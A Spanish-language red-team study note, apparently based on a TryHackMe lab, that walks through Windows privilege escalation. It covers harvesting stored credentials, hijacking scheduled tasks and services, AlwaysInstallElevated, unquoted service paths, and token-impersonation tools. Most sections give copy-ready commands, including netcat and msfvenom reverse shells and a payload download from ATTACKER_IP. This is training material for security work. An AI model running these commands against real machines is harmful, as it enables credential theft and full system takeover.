Escalada de privilegios en Windows
La escalada de privilegios en Windows consiste en aprovechar vulnerabilidades, configuraciones incorrectas o credenciales expuestas para pasar de un usuario con privilegios limitados a uno…
Definición
La escalada de privilegios en Windows consiste en aprovechar vulnerabilidades, configuraciones incorrectas o credenciales expuestas para pasar de un usuario con privilegios limitados a uno con privilegios administrativos. Es una fase crítica del red team engagement tras obtener el acceso inicial.
Contexto
- Se asume acceso inicial con usuario sin privilegios (
cmd.exeopowershell.exe). - Tipos de cuentas Windows: Administradores (acceso total) vs Usuarios estándar (acceso limitado). Cuentas especiales del sistema:
NT AUTHORITY\SYSTEM,NT AUTHORITY\LOCAL SERVICE,NT AUTHORITY\NETWORK SERVICE. - Esta nota forma parte del Red Team Path (THM): sigue a Post-Exploitation Enumeration (THM) y precede a Persistence (THM).
1. Credenciales en ubicaciones habituales
Instalaciones desatendidas (Unattended)
Los Servicios de Implementación de Windows guardan credenciales de administrador en:
C:\Unattend.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\system32\sysprep\sysprep.xmlC:\Windows\system32\sysprep.infBuscar el campo <Password> o <AdministratorPassword> — puede estar en base64.
Historial de PowerShell
# Desde cmd.exetype %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Desde PowerShelltype $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtWindows Credential Manager
# Listar credenciales guardadascmdkey /list
# Usar credencial guardada para ejecutar como otro usuariorunas /savecred /user:DOMINIO\usuario "cmd.exe"IIS web.config (connection strings)
# Ubicaciones típicas:type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionStringtype C:\inetpub\wwwroot\web.config | findstr passwordPuTTY (credenciales proxy en registro)
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s2. Tareas programadas — Permisos inseguros
Si el binario de una tarea programada es modificable por usuarios sin privilegios:
# Listar tareas y ver qué ejecutan y con qué usuarioschtasks /query /tn vulntask /fo list /v# Buscar: "Task To Run" y "Run As User"
# Verificar permisos del binarioicacls C:\tasks\schtask.bat# Si BUILTIN\Users tiene (F) o (M) → vulnerable
# Sustituir el binario con reverse shellecho C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
# Ejecutar la tarea manualmente (si se tienen permisos)schtasks /run /tn vulntaskListener en atacante:
nc -lvp 44443. AlwaysInstallElevated
Si está activado, los archivos .msi se instalan con privilegios de SYSTEM independientemente del usuario que los lanza.
# Verificar si está activado (ambas claves deben ser 1)reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedExploit:
# Generar payload MSImsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
# En la víctima: ejecutar el instaladormsiexec /quiet /qn /i C:\Windows\Temp\malicious.msi4. Servicios de Windows — Configuraciones incorrectas
Conceptos base
# Consultar configuración de un serviciosc qc <nombre_servicio># Campos clave: BINARY_PATH_NAME, SERVICE_START_NAME
# Verificar DACL de un servicio (desde PowerShell)# Process Hacker también lo muestra gráficamente
# Registro de serviciosHKLM\SYSTEM\CurrentControlSet\Services\<nombre>\# Subclave Security → DACL del servicio4a. Permisos inseguros en el ejecutable del servicio
Si Everyone o BUILTIN\Users tienen permiso (M) o (F) sobre el binario del servicio:
# Verificar permisosicacls C:\PROGRA~2\SYSTEM~1\WService.exe# → Everyone:(I)(M) = VULNERABLE
# Generar payload de serviciomsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
# Descargar en víctimapowershell wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
# Sustituir el ejecutablemove WService.exe WService.exe.bkpmove rev-svc.exe WService.exeicacls WService.exe /grant Everyone:F
# Reiniciar el servicio (requiere permisos o esperar reinicio)sc stop windowsschedulersc start windowsscheduler⚠️ En PowerShell,
sces alias deSet-Content. Usar siempresc.exepara gestionar servicios desde PowerShell.
4b. Rutas sin comillas (Unquoted Service Path)
Si BINARY_PATH_NAME contiene espacios y no está entre comillas, el SCM prueba varias rutas en orden hasta encontrar un ejecutable:
# Servicio vulnerable:BINARY_PATH_NAME: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
# SCM intenta en orden:1. C:\MyPrograms\Disk.exe ← ¿escribible? → colocar payload aquí2. C:\MyPrograms\Disk Sorter.exe ← ¿escribible?3. C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe# Verificar permisos de escritura en carpetas intermediasicacls "C:\MyPrograms"# Si BUILTIN\Users tiene (AD) y (WD) → se puede crear archivos
# Generar payload y copiar con el nombre correctomsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o Disk.exe# Copiar a C:\MyPrograms\Disk.exe
# Reiniciar el serviciosc stop "disk sorter enterprise"sc start "disk sorter enterprise"4c. Permisos inseguros sobre la configuración del servicio
Si el usuario actual tiene permiso SERVICE_CHANGE_CONFIG sobre el servicio:
# Verificar con accesschk (Sysinternals)accesschk64.exe -qlc <nombre_servicio># Buscar: SERVICE_CHANGE_CONFIG para el usuario actual
# Cambiar el BINARY_PATH_NAME al payloadsc config <nombre_servicio> binpath= "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4447"sc stop <nombre_servicio>sc start <nombre_servicio>5. Abuso de tokens de Windows (Token Impersonation)
SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege → permite escalar a SYSTEM mediante técnicas Potato:
# Verificar privilegios del usuario actualwhoami /priv# Buscar: SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege → Enabled
# Exploits: PrintSpoofer, RoguePotato, JuicyPotatoNG.\PrintSpoofer64.exe -i -c cmd.\RoguePotato.exe -r ATTACKER_IP -e "cmd.exe" -l 9999Resumen de vectores y herramientas
| Vector | Herramienta | Requisito |
|---|---|---|
| Credenciales en texto claro | findstr, type, reg query |
Acceso lectura |
| Tarea programada insegura | schtasks, icacls |
Escritura en binario |
| AlwaysInstallElevated | reg query, msfvenom |
Ambas claves = 1 |
| Ejecutable de servicio inseguro | icacls, sc.exe, msfvenom |
(M) o (F) en binario |
| Ruta sin comillas | sc qc, icacls, msfvenom |
Escritura en directorio intermedio |
| Config. de servicio insegura | accesschk, sc config |
SERVICE_CHANGE_CONFIG |
| Token Impersonation | PrintSpoofer, RoguePotato | SeImpersonatePrivilege |
Pitfalls / Errores comunes
- Usar
scdesde PowerShell (es alias deSet-Content) → siempre usarsc.exe. - No hacer backup del binario antes de sustituirlo → el servicio queda roto si el lab termina.
- AlwaysInstallElevated requiere que ambas claves de registro estén a 1 (HKCU y HKLM).
- Generar el payload con
-f exeen lugar de-f exe-service→ el SCM elimina el proceso al arrancar. - Olvidar asignar permisos
Everyone:Fal binario sustituido → el servicio no puede ejecutarlo.
Integración con otras notas
- Previo: Post-Exploitation Enumeration (THM)
- Siguiente: Persistence (THM)
- Escalada en Linux: Escalada de privilegios (Linux)
- Herramientas payload: MSFvenom
- MITRE: T1053.005 (Scheduled Task), T1574.009 (Unquoted Path), T1134 (Token Impersonation), T1552 (Unsecured Credentials)
Diagrama
flowchart TD
A[Acceso inicial sin privilegios] --> B{Vector de PrivEsc}
B --> C[Credenciales expuestas]
B --> D[Tarea programada insegura]
B --> E[AlwaysInstallElevated]
B --> F[Servicio: ejecutable inseguro]
B --> G[Servicio: ruta sin comillas]
B --> H[Servicio: config insegura]
B --> I[Token Impersonation]
C & D & E & F & G & H & I --> J[Acceso como Administrador / SYSTEM]
J --> K[Persistencia + Movimiento Lateral]
Referencias
- TryHackMe — Windows PrivEsc: https://tryhackme.com/room/windowsprivesc20
- Sysinternals AccessChk: https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk
- PrintSpoofer: https://github.com/itm4n/PrintSpoofer
- MITRE T1574 (Hijack Execution Flow): https://attack.mitre.org/techniques/T1574/
- MITRE T1053 (Scheduled Task): https://attack.mitre.org/techniques/T1053/